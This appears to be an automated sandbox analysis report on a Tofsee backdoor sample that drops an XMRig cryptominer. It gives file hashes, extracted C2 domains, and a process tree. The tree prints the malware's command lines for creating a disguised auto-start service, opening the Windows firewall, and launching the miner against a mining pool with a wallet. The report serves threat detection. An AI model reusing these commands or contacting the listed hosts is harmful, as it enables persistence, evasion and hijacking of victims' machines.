Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    26/08/2023, 14:45

General

  • Target

    72f9d9ab0b467c913db0988f5b4126d819c1ae42844415d6d1e3df2e92d1a2a5_JC.exe

  • Size

    253KB

  • MD5

    c79e74e97d749a3e9bd428952d420362

  • SHA1

    439a647fa65ca835ae8ee667b12b368b2db099d1

  • SHA256

    72f9d9ab0b467c913db0988f5b4126d819c1ae42844415d6d1e3df2e92d1a2a5

  • SHA512

    651ff8c8c18b7986cc6da681be0718235bf7f25efcb27568d33269c277f9d47c09019dca875dc5803510741f872385ae1decf424159524636c2f6352324c7aea

  • SSDEEP

    3072:K/YZvaldnqbzvCOBds5C4Z9pGcnqrxGaK3jHTmzUj/L12rjqTu4:kQzvtBdwVzZqrIn3PbdWf4

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\72f9d9ab0b467c913db0988f5b4126d819c1ae42844415d6d1e3df2e92d1a2a5_JC.exe
    "C:\Users\Admin\AppData\Local\Temp\72f9d9ab0b467c913db0988f5b4126d819c1ae42844415d6d1e3df2e92d1a2a5_JC.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2208
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cqdocjpt\
      2⤵
        PID:3000
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pbnspvui.exe" C:\Windows\SysWOW64\cqdocjpt\
        2⤵
          PID:2308
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create cqdocjpt binPath= "C:\Windows\SysWOW64\cqdocjpt\pbnspvui.exe /d\"C:\Users\Admin\AppData\Local\Temp\72f9d9ab0b467c913db0988f5b4126d819c1ae42844415d6d1e3df2e92d1a2a5_JC.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2988
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description cqdocjpt "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2800
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start cqdocjpt
          2⤵
          • Launches sc.exe
          PID:2856
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2808
      • C:\Windows\SysWOW64\cqdocjpt\pbnspvui.exe
        C:\Windows\SysWOW64\cqdocjpt\pbnspvui.exe /d"C:\Users\Admin\AppData\Local\Temp\72f9d9ab0b467c913db0988f5b4126d819c1ae42844415d6d1e3df2e92d1a2a5_JC.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2908
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2832
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2600

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\pbnspvui.exe

        Filesize

        13.0MB

        MD5

        ef7158e48d4b418dbd212eb90ba2c4b8

        SHA1

        52690450503ceafdf8be082cd1472e68273ad303

        SHA256

        5dbc696e8f4e5d6ed21199bca7d71066f9d5e938b9573e2d83a545a1075394a6

        SHA512

        fecb80fcbbd84678acba4ef353b5ab33bfb74e3ce7ba808c76113fa57ce708bd5560031a6795a83413cd58bf7839ee4ca90bef68c78cfd4545a3085ae9e757af

      • C:\Windows\SysWOW64\cqdocjpt\pbnspvui.exe

        Filesize

        13.0MB

        MD5

        ef7158e48d4b418dbd212eb90ba2c4b8

        SHA1

        52690450503ceafdf8be082cd1472e68273ad303

        SHA256

        5dbc696e8f4e5d6ed21199bca7d71066f9d5e938b9573e2d83a545a1075394a6

        SHA512

        fecb80fcbbd84678acba4ef353b5ab33bfb74e3ce7ba808c76113fa57ce708bd5560031a6795a83413cd58bf7839ee4ca90bef68c78cfd4545a3085ae9e757af

      • memory/2208-20-0x0000000002730000-0x0000000002830000-memory.dmp

        Filesize

        1024KB

      • memory/2208-2-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2208-4-0x0000000000400000-0x00000000022E6000-memory.dmp

        Filesize

        30.9MB

      • memory/2208-15-0x0000000000400000-0x00000000022E6000-memory.dmp

        Filesize

        30.9MB

      • memory/2208-1-0x0000000002730000-0x0000000002830000-memory.dmp

        Filesize

        1024KB

      • memory/2600-79-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2600-74-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2600-76-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2600-75-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2600-77-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2600-78-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2600-66-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2600-64-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2832-39-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-47-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-24-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2832-25-0x00000000019F0000-0x0000000001BFF000-memory.dmp

        Filesize

        2.1MB

      • memory/2832-28-0x00000000019F0000-0x0000000001BFF000-memory.dmp

        Filesize

        2.1MB

      • memory/2832-29-0x0000000000120000-0x0000000000126000-memory.dmp

        Filesize

        24KB

      • memory/2832-32-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-35-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-36-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-38-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-37-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-21-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2832-40-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-41-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-42-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-43-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-44-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-45-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-46-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-22-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2832-48-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-49-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-50-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-51-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

      • memory/2832-52-0x0000000000140000-0x0000000000145000-memory.dmp

        Filesize

        20KB

      • memory/2832-55-0x0000000000140000-0x0000000000145000-memory.dmp

        Filesize

        20KB

      • memory/2832-56-0x00000000054D0000-0x00000000058DB000-memory.dmp

        Filesize

        4.0MB

      • memory/2832-59-0x00000000054D0000-0x00000000058DB000-memory.dmp

        Filesize

        4.0MB

      • memory/2832-60-0x0000000000190000-0x0000000000197000-memory.dmp

        Filesize

        28KB

      • memory/2832-19-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2832-10-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2832-13-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2832-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2908-14-0x0000000000400000-0x00000000022E6000-memory.dmp

        Filesize

        30.9MB

      • memory/2908-18-0x0000000000400000-0x00000000022E6000-memory.dmp

        Filesize

        30.9MB

      • memory/2908-9-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2908-8-0x0000000002480000-0x0000000002580000-memory.dmp

        Filesize

        1024KB